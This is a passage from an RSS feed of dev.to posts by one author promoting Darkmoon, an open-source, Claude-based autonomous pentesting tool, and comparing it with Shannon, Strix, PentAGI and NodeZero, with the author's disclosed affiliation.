&lt;li&gt;Repo (GPLv3): &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href="https://docs.dark-moon.org/" rel="noopener noreferrer"&gt;https://docs.dark-moon.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo: &lt;a href="https://youtu.be/1bFRVuMkZzY" rel="noopener noreferrer"&gt;https://youtu.be/1bFRVuMkZzY&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>The real bottleneck in AI pentesting is validated exploitation, not discovery</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Tue, 07 Jul 2026 20:30:05 +0000</pubDate>
      <link>https://dev.to/darkmoonx/the-real-bottleneck-in-ai-pentesting-is-validated-exploitation-not-discovery-kie</link>
      <guid>https://dev.to/darkmoonx/the-real-bottleneck-in-ai-pentesting-is-validated-exploitation-not-discovery-kie</guid>
      <description>&lt;p&gt;In 2026 the AI slop problem got impossible to ignore: bug bounty platforms paused programs, maintainers like curl walked away from bounties, and autonomous agents started flooding open source projects with low quality reports. The lesson is that discovery got cheap and proof got scarce.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovery is now the easy part
&lt;/h2&gt;

&lt;p&gt;An LLM can generate a plausible looking finding in seconds. That is exactly why platforms are drowning. When the cost of producing a report drops to near zero, volume stops being a signal of value and starts being noise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of exploit is the scarce thing
&lt;/h2&gt;

&lt;p&gt;The finding that matters is the one you can actually exploit, with the exact commands and raw output to back it. An autonomous tool that only reports what it can prove, and attaches the evidence, produces a short list a human can trust instead of a long list a human has to triage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Responsible behaviour toward maintainers
&lt;/h2&gt;

&lt;p&gt;Autonomous offensive tooling that scrubs public repos and files unsolicited reports is part of the problem, not the solution. Scope proof, deduplication, rate limiting and a human sign off should be defaults, not afterthoughts.&lt;/p&gt;

&lt;h2&gt;
  
  
  The design principle
&lt;/h2&gt;

&lt;p&gt;Optimise for validated exploitation and an auditable evidence trail, not for the number of findings. That is the antidote to slop, and it is the only version of autonomous pentesting that survives contact with a real remediation team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;If you care about proof over volume, the methodology and evidence trail are the part worth scrutinising.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repo (GPLv3): &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href="https://docs.dark-moon.org/" rel="noopener noreferrer"&gt;https://docs.dark-moon.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo: &lt;a href="https://youtu.be/1bFRVuMkZzY" rel="noopener noreferrer"&gt;https://youtu.be/1bFRVuMkZzY&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Shannon and Darkmoon: two Claude powered pentesters, compared</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Tue, 07 Jul 2026 20:26:40 +0000</pubDate>
      <link>https://dev.to/darkmoonx/shannon-and-darkmoon-two-claude-powered-pentesters-compared-2bhk</link>
      <guid>https://dev.to/darkmoonx/shannon-and-darkmoon-two-claude-powered-pentesters-compared-2bhk</guid>
      <description>&lt;p&gt;Disclosure: I work on Darkmoon. Shannon (KeygraphHQ) is the closest technical twin, both lean on Claude, so a fair comparison is useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shannon's strength
&lt;/h2&gt;

&lt;p&gt;Shannon is a white box pentester that reads your source, identifies attack vectors and executes real exploits to prove them, and it scores very well on the XBOW benchmark. For source available web and API testing, it is excellent.&lt;/p&gt;

&lt;h2&gt;
  
  
  Darkmoon's focus
&lt;/h2&gt;

&lt;p&gt;Darkmoon is black box and multi surface: it chains across web, cloud, AD and Kubernetes without needing source, orchestrating 80 plus tools via MCP with an evidence trail per finding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Licensing and model
&lt;/h2&gt;

&lt;p&gt;Shannon is AGPL-3.0, Darkmoon is GPL-3.0. Both are model agnostic in spirit and tuned around Claude Opus for planning stability.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which to pick
&lt;/h2&gt;

&lt;p&gt;If you have source and want white box proof, Shannon. If you need broad black box chaining across an internal estate, Darkmoon. Both are open, so you can try both.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Run both against a lab and judge for your scope.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repo (GPLv3): &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href="https://docs.dark-moon.org/" rel="noopener noreferrer"&gt;https://docs.dark-moon.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo: &lt;a href="https://youtu.be/1bFRVuMkZzY" rel="noopener noreferrer"&gt;https://youtu.be/1bFRVuMkZzY&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>NodeZero is excellent, but it is SaaS: the self hosted open source path</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Tue, 07 Jul 2026 20:25:59 +0000</pubDate>
      <link>https://dev.to/darkmoonx/nodezero-is-excellent-but-it-is-saas-the-self-hosted-open-source-path-5fjd</link>
      <guid>https://dev.to/darkmoonx/nodezero-is-excellent-but-it-is-saas-the-self-hosted-open-source-path-5fjd</guid>
      <description>&lt;p&gt;Disclosure: I work on Darkmoon. NodeZero is a genuinely good autonomous pentest platform. This is for the teams that cannot use it because the targets cannot leave their environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why SaaS is a blocker for some
&lt;/h2&gt;

&lt;p&gt;Regulated, air gapped or data sensitive environments often cannot send targets or results to a vendor cloud. That rules out most hosted platforms regardless of quality.&lt;/p&gt;

&lt;h2&gt;
  
  
  What self hosted changes
&lt;/h2&gt;

&lt;p&gt;A self hosted engine keeps scope, data and evidence inside your environment. You run it on your own model and infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you get with an open source MCP host
&lt;/h2&gt;

&lt;p&gt;Darkmoon is GPL-3.0, model agnostic, and orchestrates 80 plus offensive tools via MCP across web, cloud, AD and Kubernetes, keeping a proof trail per finding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Being fair
&lt;/h2&gt;

&lt;p&gt;You give up the polish and support of a funded SaaS. You gain control, privacy and the ability to read and change the method.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;If data residency is the constraint, a self hosted open source engine is worth a lab run.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repo (GPLv3): &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href="https://docs.dark-moon.org/" rel="noopener noreferrer"&gt;https://docs.dark-moon.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo: &lt;a href="https://youtu.be/1bFRVuMkZzY" rel="noopener noreferrer"&gt;https://youtu.be/1bFRVuMkZzY&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Open source autonomous pentesting: Darkmoon compared to Strix, PentAGI and Shannon</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Tue, 07 Jul 2026 20:25:17 +0000</pubDate>
      <link>https://dev.to/darkmoonx/open-source-autonomous-pentesting-darkmoon-compared-to-strix-pentagi-and-shannon-e46</link>
      <guid>https://dev.to/darkmoonx/open-source-autonomous-pentesting-darkmoon-compared-to-strix-pentagi-and-shannon-e46</guid>
      <description>&lt;p&gt;Disclosure: I work on Darkmoon, and I tried to make this a fair map of the open source field rather than a pitch. If you are choosing an open source AI pentester, here is how the main options actually differ.&lt;/p&gt;

&lt;h2&gt;
  
  
  Strix
&lt;/h2&gt;

&lt;p&gt;usestrix/strix runs code dynamically and validates web and app vulnerabilities with real proof of concept exploits. It is strong and fast on the application layer. If your scope is mostly web and API, look at it seriously.&lt;/p&gt;

&lt;h2&gt;
  
  
  PentAGI and Shannon
&lt;/h2&gt;

&lt;p&gt;PentAGI (vxcontrol) is a self hosted multi agent system with 20 plus built in tools. Shannon (KeygraphHQ) is a white box, Claude based pentester that reads source and proves exploitation, and it scores very well on the XBOW benchmark. Both are excellent at what they focus on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Darkmoon is different
&lt;/h2&gt;

&lt;p&gt;Darkmoon focuses on multi surface coverage (web, cloud, Active Directory, Kubernetes, API and internal networks) orchestrated through MCP, with the methodology written as Markdown playbooks you can read and fork, and an evidence trail on every finding.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to choose honestly
&lt;/h2&gt;

&lt;p&gt;For source aware web testing, Shannon and Strix are compelling. For broad multi host chaining across AD and Kubernetes with an auditable method, try Darkmoon. They are not mutually exclusive.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Read the playbooks and run whichever fits your scope against a lab. Feedback and corrections to this comparison are welcome.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repo (GPLv3): &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href="https://docs.dark-moon.org/" rel="noopener noreferrer"&gt;https://docs.dark-moon.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo: &lt;a href="https://youtu.be/1bFRVuMkZzY" rel="noopener noreferrer"&gt;https://youtu.be/1bFRVuMkZzY&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>devsecops</category>
    </item>
  </channel>
</rss>
